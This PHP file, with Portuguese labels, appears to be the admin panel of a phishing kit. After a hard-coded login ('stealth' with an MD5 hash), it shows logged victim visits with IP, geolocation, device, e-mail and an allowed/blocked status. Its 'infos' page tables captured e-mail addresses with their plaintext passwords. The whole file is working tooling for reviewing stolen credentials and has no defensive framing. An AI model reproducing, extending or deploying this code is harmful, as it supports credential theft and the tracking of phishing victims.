<?php
session_start();
require_once("funcoes.php");

$usuario = "stealth";
$senha = "9c9ce0121b1b9ae8c3ac262973885293"; //senha md5

$usuarioSessao = isset($_SESSION['usuario']) ? $_SESSION['usuario'] : '';
$usuarioSessao = preg_replace('/[^\w]/', '', $usuarioSessao);

$senhaSessao = isset($_SESSION['senha']) ? $_SESSION['senha'] : '';
$senhaSessao = preg_replace('/[^\w]/', '', $senhaSessao);

if($usuario != $usuarioSessao || $senha != $senhaSessao) {
    header("Location: login.php");
    exit();
}

if(isset($_GET['action']) && $_GET['action'] == "ZERAR"){
    file_put_contents($arquivoContador, '');
    $desktop_count_file = "desktop_count.txt";
    $mobile_count_file = "mobile_count.txt";
    file_put_contents($desktop_count_file, '0');
    file_put_contents($mobile_count_file, '0');
    header('Location: ' . $_SERVER['PHP_SELF']);
}

if(isset($_GET['action']) && $_GET['action'] == "SAIR"){
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="refresh" content="10;URL=">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Painel Administrativo</title>
    <link rel="stylesheet" href="css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
    <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="style.css"></link>
</head>
<body>
    <div id="principal" class="container">
        <div class="row">
            <div class="col-sm-12 center">
                <img id="logo" src="logo.png">
                <p class="paginas">
                    <a class="link" href="javascript:;"><?php echo contarTotal(); ?> ACESSOS</a> / 
                    <a class="link" href="javascript:;"><?php echo contarLiberados(); ?> LIBERADO(S)</a> / 
                    <a class="link" href="javascript:;"><?php echo contarBloqueados(); ?> BLOQUEADO(S)</a> / 
                    <a class="link" href="javascript:;"><?php echo file_exists("desktop_count.txt") ? file_get_contents("desktop_count.txt") : 0; ?> DESKTOP</a> / 
                    <a class="link" href="javascript:;"><?php echo file_exists("mobile_count.txt") ? file_get_contents("mobile_count.txt") : 0; ?> MOBILE</a>
                </p>
                <p class="menu">
                    <a class="link"  onclick="return confirm('Você tem Certeza?')" href="<?php echo $_SERVER['PHP_SELF'];?>?action=ZERAR">[ ZERAR ACESSOS ]</a> 
                    <a class="link"  onclick="return confirm('Você tem Certeza?')" href="<?php echo $_SERVER['PHP_SELF'];?>?action=SAIR">[ SAIR ]</a>
                </p>
            </div>
        </div>
        <div class="row">
            <div class="col-sm-12">
                <?php
                    if(!isset($_GET['pag']) || (isset($_GET['pag']) && $_GET['pag'] == "acessos")):
                ?>
                <table>
                    <thead>
                        <tr>
                            <th width="3%" class="center">ITEM</th>
                            <th width="12%">DATA</th>
                            <th width="10%">IP</th>
                            <th width="5%" class="center">PAÍS</th>
                            <th width="5%" class="center">UF</th>
                            <th width="10%" class="center">CIDADE</th>
                            <th width="7%" class="center">DEVICE</th>
                            <th width="20%">HOST</th>
                            <th width="20%">E-MAIL</th>
                            <th width="8%" class="center">STATUS</th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php
                    $file = file($arquivoContador);
                    $file = array_reverse($file);
                    $contador = 1;
                    foreach($file as $f):
                    $data = explode("|", $f);
                    if(trim($data[9]) == "BLOQUEADO") {
                        continue;
                    }
                    $bloqueado = trim($data[9]) == "BLOQUEADO" ? true : false;
                    ?>
                        <tr class="<?php echo $bloqueado ? "block" : "" ?>">
                            <td class="center"><?php echo $contador;?></td>
                            <td><?php echo trim($data[0]);?></td>
                            <td><?php echo trim($data[1]);?></td>
                            <td class="center"><?php echo trim($data[2]);?></td>
                            <td class="center"><?php echo trim($data[3]);?></td>
                            <td class="center"><?php echo trim($data[4]);?></td>
                            <td class="center"><?php echo trim($data[6]);?></td>
                            <td><?php echo trim($data[8]);?></td>
                            <td><?php echo trim($data[7]);?></td>
                            <td class="center"><?php echo trim($data[9]);?></td>
                        </tr>
                    <?php
                    $contador++;
                    endforeach;
                    ?>
                    </tbody>
                </table>
                <?php
                endif;
                ?>
                <?php
                    if((isset($_GET['pag']) && $_GET['pag'] == "infos")):
                ?>
                <table>
                    <thead>
                        <tr>
                            <th width="4%" class="center">ITEM</th>
                            <th width="12%">E-MAIL</th>
                            <th width="12%">SENHA</th>
                            <th width="12%">DATA</th>
                            <th width="5%">IP</th>
                            <th width="7%" class="center">PAÍS</th>
                            <th width="3%" class="center">UF</th>
                            <th width="10%" class="center">CIDADE</th>
                            <th width="7%" class="center">DEVICE</th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php
                    $file = file($arquivoInfo);
                    $contador = 1;
                    foreach($file as $f):
                    $data = explode("|", $f);
                    ?>
                        <tr>
                            <td class="center"><?php echo $contador;?></td>
                            <td><?php echo $data[0];?></td>
                            <td><?php echo $data[1];?></td>
                            <td><?php echo $data[2];?></td>
                            <td><?php echo $data[3];?></td>
                            <td class="center"><?php echo $data[4];?></td>
                            <td class="center"><?php echo $data[5];?></td>
                            <td class="center"><?php echo $data[6];?></td>
                            <td class="center"><?php echo $data[8];?></td>
                        </tr>
                    <?php
                    $contador++;
                    endforeach;
                    ?>
                    </tbody>
                </table>
                <?php
                    endif;
                ?>
            </div>
        </div>
    </div>
    <script>
       setInterval(() => {
        location.reload();
       }, 10000);
    </script>
</body>
</html>